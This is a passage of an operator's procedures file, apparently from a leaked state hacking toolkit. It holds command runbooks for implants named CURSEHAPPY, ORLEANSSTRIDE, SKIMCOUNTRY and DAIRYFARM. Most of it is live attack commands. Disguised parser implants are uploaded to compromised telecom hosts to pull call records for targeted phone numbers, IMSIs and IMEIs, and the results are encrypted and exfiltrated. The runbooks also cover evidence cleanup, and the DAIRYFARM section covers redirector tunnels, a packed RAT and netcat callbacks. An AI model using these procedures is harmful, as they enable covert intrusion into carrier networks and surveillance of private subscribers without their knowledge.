6722ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | head -10
6723ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | tail -10
6724ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | head -10
6725ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | tail -10
6726
6727-lt /u03/archive/collect
6728# newer stuff
6729ls -latr /u03/archive/collect/siemens_msc_isb01 | head -10
6730ls -latr /u03/archive/collect/siemens_msc_isb01 | tail -10
6731ls -latr /u03/archive/collect/siemens_msc_isb01 | wc -l
6732# old stuff:
6733ls -latr /u03/archive/collect/siemens_msc_khi01 | head -10
6734ls -latr /u03/archive/collect/siemens_msc_khi01 | tail -10
6735
6736
6737########################## editionhaze:
6738
6739ls -latr /u06/saba/CDR/out/MS* | head -10
6740ls -latr /u06/saba/CDR/out/MS* | tail -10
6741ls -latr /u06/saba/CDR/out/MS* | wc -l
6742
6743########################## liquidsteel:
6744
6745########################## sicklestar:
6746
6747### magnum: CURSEHAPPY not working on all SS .usd files :-(
6748### Try these first, should be all of them in one spot
6749ls -latr /usd_archive/mc_storage/*usd | head -10
6750ls -latr /usd_archive/mc_storage/*usd | tail -10
6751
6752### If none in previous ones...
6753ls -latr /sys1/var/billing/out_coll/*usd | head -10
6754ls -latr /sys1/var/billing/out_coll/*usd | tail -10
6755ls -latr /sys1/var/alcatel/out_coll/*usd | head -10
6756ls -latr /sys1/var/alcatel/out_coll/*usd | tail -10
6757
6758ls -latr /sys1/var/billing/msc_is2 | tail -20
6759
6760########################## CURSEHAPPY ########################################################
6761###############################################################################################
6762
6763### Now, encrypt the ascii list...first make sure you have the encryption tool:
6764which cryptTool.v1.0.Linux2.4.18-14.targetdl
6765
6766### If cryptTool not in PATH, change your PATH or insert full path in command
6767
6768### to encrypt one at a time...skip to next comment to encrypt all at once:
6769cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b
6770cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b
6771
6772file argfile*.enc
6773
6774### to encrypt all at the same time:
6775for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done
6776
6777ls -l
6778file argfile*.enc
6779
6780### encrypt the def files
6781
6782for i in /current/up/cursedefs/*.def ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o /current/up/cursedefs/`basename $i .def`.enc -k CRYPTKEY -b ; done
6783
6784ls -l
6785file /current/up/cursedefs/*.enc
6786
6787### encrypt the def files
6788
6789
6790
6791### Tips for running the CURSEHAPPY 4.0
6792
6793 ### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!!
6794 ### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional
6795 ### passes are needed for the date range
6796 ### DO NOT use -loglevel if also using >L: or >T: (mixed output corrupts the decryption)
6797 ### The phone list is NOT deleted automatically in v3.2
6798 ### remove it between each run as a practice
6799
6800### Useful options:
6801-n name of text file containing phone numbers
6802-files list of files to parse (can contain wildcards) optional - same as no option
6803-d output optional fields
6804-all all record output (no search performed)
6805-loglevel [#] level of info emitted via stderr:0,1,2,3
6806-def definition file (required)
6807-lb leave behind mode
6808 Upload the parser (CURSEHAPPY) and called it crond
6809# put up the parser tool
6810mkdir /tmp/.scsi
6811-cd /tmp/.scsi
6812
6813-put /current/up/cursehappy4 crond
6814
6815##### Upload the encrypted phone list as adm, modify each parser command to have the
6816##### correct directory and date range of files to parse, then run the parser:
6817
6818##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc)
6819##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.)
6820
6821##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS
6822
6823############ argfile 1
6824
6825-put /current/up/cursedefs/PROJECTNAME.enc adm~
6826-put /current/down/argfiles/argfile1.enc adm
6827KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc1
6828-beep 15
6829
6830
6831### Run again if needed for same tasking
6832-put /current/down/argfiles/argfile1.enc adm
6833-put /current/up/cursedefs/PROJECTNAME.enc adm~
6834KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[012]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc1.more
6835-beep 15
6836
6837
6838############ argfile 2
6839
6840-put /current/up/cursedefs/PROJECTNAME.enc adm~
6841-put /current/down/argfiles/argfile2.enc adm
6842KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc2
6843-beep 15
6844
6845
6846### Run again if needed for same tasking
6847-put /current/up/cursedefs/PROJECTNAME.enc adm~
6848-put /current/down/argfiles/argfile2.enc adm
6849KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc2.more
6850-beep 15
6851
6852
6853############ argfile 3
6854
6855-put /current/up/cursedefs/PROJECTNAME.enc adm~
6856-put /current/down/argfiles/argfile3.enc adm
6857KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc3
6858-beep 15
6859
6860
6861### Run again if needed for same tasking
6862-put /current/down/argfiles/argfile3.enc adm
6863-put /current/up/cursedefs/PROJECTNAME.enc adm~
6864KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc3.more
6865-beep 15
6866
6867
6868#############
6869############# for loglevel testing (local file should be ascii?)
6870#############
6871
6872-put /current/up/cursedefs/PROJECTNAME.enc adm~
6873-put /current/down/argfiles/argfile1.enc adm
6874KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -w e -loglevel 2 -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.test
6875-beep 15
6876
6877######
6878##### when it's done running, decrypt the file (-d -c options)
6879######
6880
6881
6882cd /current/down
6883ls -latr cdr*enc*
6884
6885# to decrypt individually:
6886cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehappy.HOST.DDMonYY.enc1 -o cdrhits.cursehappy.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c
6887cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehappy.HOST.DDMonYY.enc2 -o cdrhits.cursehappy.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c
6888
6889
6890# or decrypt all at one time (once all are written fully)
6891cd /current/down
6892for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done
6893ls -latr cdr*txt*
6894
6895######
6896###### If you need to stop the parser before it completes:
6897### Control-C the nopen window containing the parser command
6898### ps -ef |grep crond
6899### if the parser command is still "running", then kill the process:
6900### kill -9 <PID>
6901### You'll still be able to decrypt the partially completed data pull
6902
6903
6904
6905######
6906###### copy DECRYPTED data to media
6907######
6908ls -l cdr*txt*
6909mz
6910cp cdr*txt* /mnt/zip*/PROJECTNAME
6911ls -l /mnt/zip*/PROJECTNAME
6912uz
6913
6914
6915#####
6916##### clean up
6917#####
6918-rm crond adm adm~
6919-lt
6920-cd /tmp
6921-rm .scsi
6922-lt
6923
6924w
6925ps -ef | sort
6926-lt /
6927
6928-burnBURN
6929
6930###
6931### END File user.tool.cursehappy.COMMON
6932### (see also ../etc/user.tool.cursehappy.COMMON)
6933
6934###
6935### BEGIN File user.tool.orleansstride.COMMON (see also ../etc/user.tool.orleansstride.COMMON)
6936###
6937
6938################ ORLEANSSTRIDE #########################
6939############### PARSING ###################################################################
6940
6941### vi Search/Replace commands ###
6942### ProjectName - self explanatory
6943### Date field - today's date, used for output files
6944### Host - hostname of the box (not IP address)
6945### Cryptkey - encryption key (use output from below md5sum command)
6946
6947md5sum /current/down/tcpdump.raw
6948
6949mx
6950:%s/PROJECTNAME/PROJECTNAME/g
6951:%s/DDMonYY/DDMonYY/g
6952:%s/HOST/HOST/g
6953:%s/CRYPTKEY/CRYPTKEY/g
6954'x
6955
6956### Save the encryption key locally:
6957
6958echo CRYPTKEY > /current/down/cryptkey.orleansstride.DDMonYY
6959
6960####### Prepare files containing numbers to search for:
6961
6962# if files containing the numbers to search available:
6963mkdir /current/down/argfiles
6964cd /current/down/argfiles
6965mz
6966cp /mnt/zip*/arg* /current/down/argfiles
6967 #or
6968cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles
6969
6970ls -altr
6971
6972
6973### Prep the argfiles:
6974### make sure the files are ASCII and contain NO EMPTY LINES!!
6975### make sure the last line does not contain a null character at the end
6976### (vi the file, add a carriage return to the last line, then delete the empty
6977### line and save)
6978### "file" results:
6979### This will not work: ASCII text, with CRLF line terminators
6980### This WILL: ASCII text
6981cat arg*
6982file arg*
6983dos2unix arg*
6984file arg*
6985
6986# if no data media is provided:
6987# locally, create a file of numbers to grep for with each number on a separate line
6988# make sure there are NO EMPTY LINES!!!!
6989# if searching for LACs and cell id's, use the format in the documentation:
6990# ex. - 410 01 95 18374
6991# if searching for phone numbers, use the normal format:
6992# ex. - 4837506
6993
6994cd /current/down/argfiles
6995vi /current/down/argfiles/argfile1.txt
6996
6997
6998### For ORLEANSSTRIDE, the numbers must be in sorted order...the following loop
6999### will put all of the files in sorted order
7000
7001cd /current/down/argfiles
7002for i in argfile*.txt; do sort -u -o `basename $i .txt`.sorted; done
7003
7004
7005### Make sure find the cryptTool...add to PATH if which fails...
7006which cryptTool.v1.0.Linux2.4.18-14.targetdl
7007
7008### To encrypt one at a time...
7009cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.sorted -o argfile1.enc -k CRYPTKEY -b
7010cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.sorted -o argfile2.enc -k CRYPTKEY -b
7011
7012file argfile*.enc
7013
7014### Loop to encrypt all the argfiles
7015cd /current/down/argfiles
7016for i in argfile*.sorted; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .sorted`.enc -k CRYPTKEY -b
7017
7018file argfile*.enc
7019
7020
7021########## To look at CDR directories try the following:
7022
7023### Use the following commands to determine the location of current
7024### CDR data storage; Once you identify the location of the data, you'll
7025### use the head/tail commands to determine the date ranges being saved.
7026### These date ranges will be used as args in the orleansstride commands.
7027
7028### Typical file locations per host:
7029
7030########################## sicklestar:
7031# magnum 10.140.0.68
7032
7033ls -lart /archive/cdrc/*mob | head -10
7034ls -lart /archive/cdrc/*mob | tail -10
7035ls -lart /archive/cdrc/input/DONE/*mob | head -10
7036ls -lart /archive/cdrc/input/DONE/*mob | tail -10
7037
7038### Tips for running the ORLEANSSTRIDE 1.0
7039
7040 ### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!!
7041 ### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional
7042 ### passes are needed for the date range
7043 ### The phone list is deleted automatically
7044
7045
7046######## Upload the parser (ORLEANSSTRIDE) and call it nscd
7047# put up the parser tool
7048mkdir /tmp/.scsi
7049-cd /tmp/.scsi
7050-put /current/up/orleansstride.v1.0.SunOS5.8.targetsl nscd
7051
7052
7053##### Upload the encrypted phone list as awk, modify each parser command to have the
7054##### correct directory and date range of files to parse, then run the parser:
7055
7056##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc)
7057##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.)
7058
7059##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS
7060
7061############ argfile 1
7062
7063-put /current/down/argfiles/argfile1.enc awk
7064-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[789]*.mob' -print" -P ./awk
7065./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc1
7066-beep 15
7067
7068### Run again if needed for same tasking
7069-put /current/down/argfiles/argfile1.enc awk
7070-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[56]*.mob' -print" -P ./awk
7071./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc1.more
7072-beep 15
7073
7074
7075############ argfile 2
7076
7077-put /current/down/argfiles/argfile2.enc awk
7078-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[789]*.mob' -print" -P ./awk
7079./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc2
7080-beep 15
7081
7082### Run again if needed for same tasking
7083-put /current/down/argfiles/argfile2.enc awk
7084-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[56]*.mob' -print" -P ./awk
7085./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc2.more
7086-beep 15
7087
7088############ argfile 3
7089
7090-put /current/down/argfiles/argfile3.enc awk
7091-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[789]*.mob' -print" -P ./awk
7092./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc3
7093-beep 15
7094
7095### Run again if needed for same tasking
7096-put /current/down/argfiles/argfile3.enc awk
7097-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[56]*.mob' -print" -P ./awk
7098./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc3.more
7099-beep 15
7100
7101
7102######
7103###### survey mode:
7104######
7105
7106### checks for IMEIs that have more than one IMSI associated with it:
7107### to limit amount of memory used, replace "-x" with "-X numberBytes"
7108-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[56]*.mob' -print" -x
7109./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc.surveyIMEI
7110
7111
7112### generates a list of Cell IDs associated with each MSC address:
7113### to limit amount of memory used, replace "-y" with "-Y numberBytes"
7114-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[56]*.mob' -print" -y
7115./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc.surveyMSC
7116
7117
7118######
7119##### when it's done running, decrypt the file (-d -c options)
7120######
7121
7122cd /current/down
7123ls -latr cdr*enc*
7124
7125# to decrypt individually:
7126cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.orleansstride.HOST.DDMonYY.enc1 -o cdrhits.orleansstride.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c
7127cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.orleansstride.HOST.DDMonYY.enc2 -o cdrhits.orleansstride.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c
7128
7129
7130# or decrypt all at one time (once all are written fully)
7131cd /current/down
7132for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done
7133ls -latr cdr*txt*
7134
7135######
7136###### If you need to stop the parser before it completes:
7137### Control-C the nopen window containing the parser command
7138### ps -ef |grep nscd
7139### if the parser command is still "running", then kill the process:
7140### kill -9 <PID>
7141### You'll still be able to decrypt the partially completed data pull
7142
7143######
7144###### copy DECRYPTED data to media
7145######
7146ls -l cdr*txt*
7147mz
7148cp cdr*txt* /mnt/zip*/PROJECTNAME
7149ls -l /mnt/zip*/PROJECTNAME
7150uz
7151
7152
7153#####
7154##### clean up
7155#####
7156-rm nscd awk
7157-lt
7158-cd /tmp
7159-rm .scsi
7160-lt
7161
7162w
7163ps -ef | sort
7164-lt /
7165
7166-burnBURN
7167
7168###
7169### END File user.tool.orleansstride.COMMON
7170### (see also ../etc/user.tool.orleansstride.COMMON)
7171
7172###
7173### BEGIN File user.tool.skimcountry.COMMON (see also ../etc/user.tool.skimcountry.COMMON)
7174###
7175
7176################ SKIMCOUNTRY #########################
7177############### PARSING ###################################################################
7178
7179
7180### vi Search/Replace commands ###
7181### ProjectName - self explanatory
7182### Date field - today's date, used for output files
7183### Host - hostname of the box (not IP address)
7184### Cryptkey - encryption key (use output from below md5sum command)
7185
7186md5sum /current/down/tcpdump.raw
7187
7188mx
7189:%s/PROJECTNAME/PROJECTNAME/g
7190:%s/DDMonYY/DDMonYY/g
7191:%s/HOST/HOST/g
7192:%s/CRYPTKEY/CRYPTKEY/g
7193'x
7194
7195### Save the encryption key locally:
7196
7197echo CRYPTKEY > /current/down/cryptkey.skimcountry.DDMonYY
7198
7199####### Prepare files containing numbers to search for:
7200
7201# if files containing the numbers to search available:
7202mkdir /current/down/argfiles
7203cd /current/down/argfiles
7204mz
7205cp /mnt/zip*/arg* /current/down/argfiles
7206 #or
7207cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles
7208
7209ls -altr
7210
7211### Prep the argfiles:
7212### make sure the files are ASCII and contain NO EMPTY LINES!!
7213### make sure the last line does not contain a null character at the end
7214### (vi the file, add a carriage return to the last line, then delete the empty
7215### line and save)
7216### "file" results:
7217### This will not work: ASCII text, with CRLF line terminators
7218### This WILL: ASCII text
7219cat arg*
7220file arg*
7221dos2unix arg*
7222file arg*
7223
7224# if no data media is provided:
7225# locally, create a file of numbers to grep for with each number on a separate line
7226# make sure there are NO EMPTY LINES!!!!
7227# Format of each type of argument:
7228# p123456789 - phone number
7229# s123456789 - IMSI
7230# e123456789 - IMEI
7231# c123/456 - Cell/LAC (no leading 0's)
7232
7233cd /current/down/argfiles
7234vi /current/down/argfiles/argfile1.txt
7235
7236########## To look at CDR directories try the following:
7237
7238### Use the following commands to determine the location of current
7239### CDR data storage; Once you identify the location of the data, you'll
7240### use the head/tail commands to determine the date ranges being saved.
7241### These date ranges will be used as args in the skimcountry commands.
7242
7243
7244### Typical file locations per project:
7245
7246########################## wrathhatch:
7247# HOST 172.16.1.36
7248
7249# active directories:
7250-lt /var/archive/output_billing
7251
7252# this script should point to the backup directory location:
7253-vget /var/archive/output_billing/MoveData.sh
7254
7255# backup directories:
7256-lt /u01/oradata/output_billing/
7257-lt /u01/oradata/output_billing/0-9AugData/output_billing
7258-lt /u01/oradata/output_billing/AugData/output_billing
7259
7260
7261
7262# get time ranges of active directories:
7263ls -latr /var/archive/output_billing/isb/*ama | head -10
7264ls -latr /var/archive/output_billing/isb/*ama | tail -10
7265
7266ls -latr /var/archive/output_billing/isb2/*ama | head -10
7267ls -latr /var/archive/output_billing/isb2/*ama | tail -10
7268
7269ls -latr /var/archive/output_billing/isb/*ama | wc -l
7270
7271ls -latr /var/archive/output_billing/fsd1/*ama | head -10
7272ls -latr /var/archive/output_billing/fsd1/*ama | tail -10
7273
7274ls -latr /var/archive/output_billing/fsd2/*ama | head -10
7275ls -latr /var/archive/output_billing/fsd2/*ama | tail -10
7276
7277ls -latr /var/archive/output_billing/fsd3/*ama | head -10
7278ls -latr /var/archive/output_billing/fsd3/*ama | tail -10
7279
7280ls -latr /var/archive/output_billing/fsd4/*ama | head -10
7281ls -latr /var/archive/output_billing/fsd4/*ama | tail -10
7282
7283
7284### to pull a complete directory listing to the ops box:
7285ls -latr /var/archive/output_billing/isb >L:/current/down/list_isb
7286
7287
7288########################## SKIMCOUNTRY ########################################################
7289###############################################################################################
7290
7291
7292
7293### Now, encrypt the ascii list locally... first make sure you have the encryption tool:
7294cd /current/down/argfiles
7295which cryptTool.v1.0.Linux2.4.18-14.targetdl
7296
7297### If cryptTool not in PATH, change your PATH or insert full path in command
7298
7299### to encrypt one at a time...skip to next comment to encrypt all at once:
7300cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b
7301cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b
7302
7303file argfile*.enc
7304
7305### to encrypt all at the same time:
7306for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done
7307
7308ls -l
7309file argfile*.enc
7310
7311
7312
7313### Tips for running the SKIMCOUNTRY 3.2
7314
7315### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!!
7316### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional
7317### passes are needed for the date range
7318### DO NOT use -o if also using >L: or >T: (mixed output corrupts the decryption)
7319### The phone list is deleted automatically now
7320
7321
7322### Useful options:
7323-k encryption key
7324-o print filenames being parsed
7325-P encrypted phone list
7326-p plaintxt phone list
7327-r DO NOT remove phone list after reading in
7328-z unix list of files to parse
7329-w do not encypt the output list (not recommended since file is created on target)
7330
7331
7332### Suggested -z options:
7333### this looks in subdirs, so use caution in backup dir (can be good AND bad):
7334### Also circumvents "parameter list too long" problem with wildcards with 'ls'
7335 -z "find /share/a1338/ne_q3ic/nb/convert/output -name '0506132*dF*' -print"
7336
7337### works, but only for smaller ranges (command line arglist gets long)
7338 -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/05110[3-6]*dF*"
7339
7340
7341##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc)
7342##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.)
7343
7344##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS
7345
7346
7347### benchmarking:
7348# phonelist had 44 numbers
7349# 3 day pull took 38 minutes over ALL directories
7350# 1 day average pull took 10-13 minutes
7351
7352### file name extensions:
7353# GCDR = Nor
7354# usd = Sie
7355
7356
7357
7358######## Upload the parser (SKIMCOUNTRY) and called it crond
7359# put up the parser tool
7360
7361mkdir /tmp/.scsi
7362-cd /tmp/.scsi
7363
7364-put /current/up/skimcountry.v1.2.SunOS5.9.targetdl crond
7365
7366 # or
7367
7368-put /mnt/zip*/skimcountry.v1.2.SunOS5.9.targetdl crond
7369
7370
7371##### Upload the encrypted phone list as adm, then run the parser:
7372
7373############ argfile 1
7374
7375-put /current/down/argfiles/argfile1.enc adm
7376./crond -k CRYPTKEY -P adm -z "find /var/archive/output_billing -name 'MSC*06082[2-4]*ama' -print" >T:/current/down/cdrhits.skimcountry.HOST.DDMonYY.enc1
7377-beep 15
7378
7379### Run again if needed for same tasking
7380
7381-put /current/down/argfiles/argfile1.enc adm
7382./crond -k CRYPTKEY -P adm -z "find /var/archive/output_billing -name 'MSC*06082[0-1]*ama' -print" >T:/current/down/cdrhits.skimcountry.HOST.DDMonYY.enc1.more
7383-beep 15
7384
7385
7386
7387############ argfile 2
7388
7389-put /current/down/argfiles/argfile2.enc adm
7390./crond -k CRYPTKEY -P adm -z "find /var/archive/output_billing -name 'MSC*06082[2-4]*ama' -print" >T:/current/down/cdrhits.skimcountry.HOST.DDMonYY.enc2
7391-beep 15
7392
7393-put /current/down/argfiles/argfile2.enc adm
7394./crond -k CRYPTKEY -P adm -z "find /var/archive/output_billing -name 'MSC*06082[0-1]*ama' -print" >T:/current/down/cdrhits.skimcountry.HOST.DDMonYY.enc2.more
7395-beep 15
7396
7397
7398
7399######
7400###### to parse other vendor files:
7401######
7402
7403#./crond -k CRYPTKEY -P adm -z "ls -1rt /var/archive/output_billing/*/MSC*20060629*usd*ama" > .mcftpl38755
7404
7405
7406######
7407##### when it's done running, decrypt the file (-d -c options)
7408######
7409
7410
7411cd /current/down
7412ls -latr cdr*enc*
7413
7414# to decrypt individually:
7415
7416cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.skimcountry.HOST.DDMonYY.enc1 -o cdrhits.skimcountry.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c
7417
7418cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.skimcountry.HOST.DDMonYY.enc2 -o cdrhits.skimcountry.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c
7419
7420
7421# or decrypt all at one time (once all are written fully)
7422
7423cd /current/down
7424for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done
7425
7426ls -latr cdr*txt*
7427
7428######
7429###### If you need to stop the parser before it completes:
7430### Control-C the nopen window containing the parser command
7431### ps -ef |grep crond
7432### if the parser command is still "running", then kill the process:
7433### kill -9 <PID>
7434### You'll still be able to decrypt the partially completed data pull
7435
7436
7437
7438######
7439
7440
7441#### target cleanup
7442
7443-rm adm crond
7444-cd /tmp
7445-rm .scsi
7446-burnBURN
7447
7448### You're done!
7449
7450###
7451### END File user.tool.skimcountry.COMMON
7452### (see also ../etc/user.tool.skimcountry.COMMON)
7453
7454###
7455### BEGIN File user.tool.dairyfarm.COMMON (see also ../etc/user.tool.dairyfarm.COMMON)
7456###
7457
7458###################################################################
7459### DAIRYFARM
7460###################################################################
7461
7462
7463DAIRYFARM procedures:
7464
7465
7466mx
7467:%s/TARGET_IP/TARGET_IP/g
7468:%s/WINDOWS_REDIR_IP/WINDOWS_REDIR_IP/g
7469:%s/LINUX_OP_BOX_IP/192.168.254.71/g
7470:%s/WINDOWS_OP_BOX_IP/192.168.254.72/g
7471:%s/CONTROL_PORT/CONTROL_PORT/g
7472:%s/XSERVER_PORT/XSERVER_PORT/g
7473:%s/NETCAT_PORT/NETCAT_PORT/g
7474:%s/NOPEN_PORT/NOPEN_PORT/g
7475:%s/RAT_NAME/sendmail/g
7476:%s,TMP_DIR,/tmp/.scsi,g
7477`x
7478
7479### Follow steps in this order:
7480
7481
7482### 1) on linux box, start dairyfarm client:
7483
7484#./df_client 35535 127.0.0.1:40211
7485#./df_client CONTROL-PORT 127.0.0.1:XSERVER-PORT
7486./df_client CONTROL_PORT 127.0.0.1:XSERVER_PORT
7487
7488### 2) on windows redir, set up tunnels:
7489
7490### the next line replaces the normal tunnel to call back to the xserver port
7491### and references the df control port instead
7492#background redirect -tcp -implantlisten 35535 -target 192.168.254.131 35535 -nodes 40
7493#background redirect -tcp -implantlisten CONTROL-PORT -target LINUX-OP-BOX CONTROL-PORT -nodes 40
7494background redirect -tcp -implantlisten CONTROL_PORT -target LINUX_OP_BOX_IP CONTROL_PORT -nodes 40
7495
7496### to udp 177
7497#background redirect -udp -lplisten 177 -target 61.555.227.115 177 -maxpacketsize 32000
7498#background redirect -udp -lplisten 177 -target TARGET-IP 177 -maxpacketsize 32000
7499background redirect -udp -lplisten 177 -target TARGET_IP 177 -maxpacketsize 32000
7500
7501### callback for netcat upload
7502#background redirect -tcp -implantlisten 33881 -target 192.168.254.131 33881 -nodes 40
7503#background redirect -tcp -implantlisten NETCAT-PORT -target LINUX-OPS-BOX NETCAT-PORT -nodes 40
7504background redirect -tcp -implantlisten NETCAT_PORT -target LINUX_OP_BOX_IP NETCAT_PORT -nodes 40
7505
7506### callforward to nopen
7507#background redirect -tcp -lplisten 32754 -target 61.555.227.115 32754
7508#background redirect -tcp -lplisten NOPEN-PORT -target UNIX-TARGET-IP NOPEN-PORT
7509background redirect -tcp -lplisten NOPEN_PORT -target TARGET_IP NOPEN_PORT -bind WINDOWS_OP_BOX_IP
7510
7511
7512### 3) on windows redir, upload dairyfarm.exe as something obscure (help16.exe) and start:
7513
7514#background run -command "help16.exe 40211 127.0.0.1:35535"
7515#background run -command "help16.exe XSERVER-PORT 127.0.0.1:CONTROL-PORT"
7516background run -command "help16.exe XSERVER_PORT 127.0.0.1:CONTROL_PORT"
7517
7518
7519### 4) on linux, set up to launch YS, using appropriate wrap script:
7520
7521cd /current/up
7522file noserver
7523# cp appropriate noserver from morerats to /current/up
7524# Need to noprep it? Different listener port (default is 32754)
7525#noprep noserver -lNOPEN_PORT
7526noprep noserver -lNOPEN_PORT
7527#packrat -n /current/bin/nc.YS sendmail noserver.new 33881
7528#packrat -n /current/bin/nc.YS RAT_NAME noserver.new NETCAT-PORT
7529packrat -n /current/bin/nc.YS RAT_NAME noserver.new NETCAT_PORT
7530
7531#./wrap-aix.sh -l 61.555.227.110 -r sendmail -p 33881 -x 40211 -d /tmp/.scsi
7532#./wrap-hpux.sh -l 61.555.227.110 -r sendmail -p 33881 -x 40211 -d /tmp/.scsi
7533#./wrap-sun.sh -l WIN-TARGET-IP -r RAT_NAME -p NETCAT-PORT -x XSERVER-PORT -d TMP_DIR
7534./wrap-sun.sh -l WINDOWS_REDIR_IP -r RAT_NAME -p NETCAT_PORT -x XSERVER_PORT -d TMP_DIR
7535
7536#./xc -x 61.555.227.110 -y 40211 -s 61.555.227.110 192.168.254.72
7537#./xc -x WIN-TARGET-IP -y XSERVER-PORT -s WIN-TARGET-IP WINDOWS-OP-BOX
7538./xc -x WINDOWS_REDIR_IP -y XSERVER_PORT -s WINDOWS_REDIR_IP WINDOWS_OP_BOX_IP
7539
7540
7541### 5) connect to nopen AFTER you control-c the netcat window:
7542
7543#noclient 192.168.254.72:32754
7544noclient WINDOWS_OP_BOX_IP:NOPEN_PORT
7545
7546### 6) on linux, control-C the df_client window
7547
